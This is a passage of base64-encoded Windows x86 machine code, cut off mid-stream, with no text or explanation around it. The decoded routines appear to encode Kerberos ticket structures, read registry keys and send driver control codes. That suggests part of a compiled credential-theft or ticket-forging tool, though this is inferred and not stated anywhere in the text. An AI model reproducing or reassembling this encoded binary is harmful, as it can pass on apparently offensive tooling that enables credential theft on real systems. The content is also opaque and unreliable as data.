X4/xUMkgEQiUX8hcB0U4sei0UMiwBTUP91/OhKzAAAi0X8A8ODxAyJOIX/dhmLTQiDwASLEYkQi1EEiVAEg8EIg8AIT3Xti0UM/zD/FRCSARCLRfyLTQyJAYtF+AEGM9tDX4vDW8nDVYvsUVGLRQgPtkABiw6NBIUIAAAAU4lF/IPABFcDyFFqQDPbiUX4/xUMkgEQi/iF/3RDix6LRQyLAFNQV+jAywAAi00ID7ZRAf91/I0EO4kQUYPABFDop8sAAItFDIPEGP8w/xUQkgEQi0UMiTiLRfgBBjPbQ1+Lw1vJw1WL7IHsAAEAADPAiUX0iUX8iUX4iYUM////U1ZXi30IiweJhRT///+LRwSJhRj///+LRwiJhRz///+LRwyJhSD///+LRxCJhST///+LRxSJhSj///+LRxiJhSz///+LRxyJhTD///+LRyCJhTT///+LRySJhTj///+LRyiJhTz///+LRyxqCFmJhUD///+NRfxQjYVE////aAQAAgBQjXcwjV34xoUA////AcaFAf///xBmiY0C////x4UE////zMzMzMeFEP///wAAAgDogv3//41F/FCNhUz///9oCAACAFCNdzjoav3//41F/FCNhVT///9oDAACAFCNd0DoUv3//41F/FCNhVz///9oEAACAFCNd0joOv3//41F/FCNhWT///9oFAACAFCNd1DoIv3//41F/FBoGAACAI2FbP///1CNd1joCv3//2aLR2BmiYV0////ZotHYmaJhXb///+LR2SJhXj///+LR2iDxEiNTfxR/3dwiYV8////i0dsi/OJRYDHRYQcAAIA6HL9//+LR3SNd3iJRYiNfYylpaWNRfxQpYt9CI1FnGggAAIAUI23iAAAAOiZ/P//jUX8UI1FpGgkAAIAUI23kAAAAOiB/P//jUX8UP+3mAAAAIvzx0WsKAACAOiZ/f//i4ecAAAAiUWwi4egAAAAi134iUW0i4ekAAAAiUW4i4eoAAAAi00QiUW8i4esAAAAiUXAi4ewAAAAiUXEi4e0AAAAiUXIi4e4AAAAiUXMi4e8AAAAiUXQi4fAAAAAiUXUjYPcAAAAg8QoM/aJhQj///+Ng+wAAACJddiJddyJdeCJdeSJdeiJAVBqQP8VDJIBEItNDIkBO8Z0KGo7WVP/dfyL+AXsAAAAjbUA////UPOl6OXIAA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